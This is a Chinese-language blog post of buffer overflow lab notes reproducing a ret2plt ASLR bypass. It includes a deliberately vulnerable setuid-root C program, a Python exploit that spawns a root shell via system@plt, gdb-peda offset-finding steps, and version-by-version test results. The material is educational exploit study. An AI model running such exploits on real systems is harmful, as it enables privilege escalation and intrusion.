缓冲区溢出笔记(二)

尝试复现 Bypassing ASLR – Part I 中的实验,在Kali x64和Ubuntu 16.04.2 x64上均失败,在nebula live CD(Ubuntu 11.10 x86)上完全成功(连偏移地址都完全一致,代码直接复制使用)。作者使用的是Ubuntu 12.04 x86环境,因此符合预期。
脆弱代码:

#include <stdio.h>
#include <string.h>

/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
 system("/bin/sh");
 exit(0);
}

int main(int argc, char* argv[]) {
 int i=0;
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 return 0;
}

脆弱代码中,shell()存在的意义在于将带有systemexit函数的动态库加载进整体程序中,使得可以在溢出时指向他们。
编译:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

攻击代码:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0x8048380      #from 'system@plt' in x86, this offset is static
exit = 0x80483a0            #from 'exit@plt'
system_arg = 0x80485b5     #Obtained from hexdump output of executable 'vuln'

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

攻击代码有两个点作者没有讲清,一个是system_arg怎么得来,一个是"A"*272这个偏移如何得到。
需要一个工具,gdb插件 peda 。作为为二进制渗透优化过的工具,许多功能都很称手。

SYSTEM_ARG的计算

system_arg是在程序中寻找"/bin/sh"的字节,使得在调用system之后可以顺利的拉起shell终端。在peda中使用find "/bin/sh"就可以看到当前内存中所有"/bin/sh"字符存在的位置。

作者说可以用hexdump,于是试了一下,的确可以,要把字符换成ASCII码再小端排列。

填充偏移的计算

对于缓冲区填充的偏移的计算。使用pattern.py(语法稍有不同),或在peda-gdb环境中

gdb-peda$ pattern create 300 //生成300字节长度的填充
gdb-peda$ r 'xxxxxxxxx' //将填充作为参数传入脆弱函数
gdb-peda$ patts

就可以得到EIP/RIP中的填充偏移,也就是填充所需要的长度。

所有与原文一字不差的实验,只在nebula,即Ubuntu 11.10 x86(内核3.0.0-12)且gcc版本4.6.1(glibc for Linux 2.6.15)的系统上得到了完美验证。在其他版本或多或少有些问题:

  • Ubuntu 16.04.4 x86,内核4.4.0-116 x86,gcc版本5.4.0,glibc for Linux 2.6.32,程序可以找到稳定的PLT地址,但是始终无法找到正确的偏移。应该是编译器的修复。
  • Ubuntu 16.04.4 x86,内核4.4.0-116 x86,使用gcc 4.6.1 x86编译好的二进制,程序可以找到稳定的PLT地址,原破解依然有效,但始终无法提权到root。应该是内核级的修复。
  • Ubuntu 16.04.2 x64,内核4.13.0-45 x64,gcc版本5.4.0 x64,程序可以找到稳定的PLT地址,但64位的破解需要ROP的办法用寄存器传参,不是将字符串"/bin/sh"写入栈里。
  • Ubuntu 16.04.2 x64,内核4.13.0-45 x64,使用gcc 4.6.1 x86编译好的二进制,程序可以找到稳定的PLT地址,原破解依然有效,但始终无法提权到root。应该是内核级的修复。
  • Kali x64,内核4.8.0,gcc版本6.3.0 x64,glibc for Linux 3.2.0,PLT地址是极短的只有最后三个数字的偏移,运行程序后,每一次运行,PLT地址都在以0x1000为单位随机跳转。



  • Kali x64,内核4.8.0,使用gcc 4.6.1 x86编译好的二进制,原实验准确验证。

综上,要达成原文中的实验效果,需要:

  • 较低的内核版本
  • x86的系统
  • 在较低版本的gcc上编译

究竟新版系统做了什么修改使得实验失败,还得慢慢研究。

Comments
Write a Comment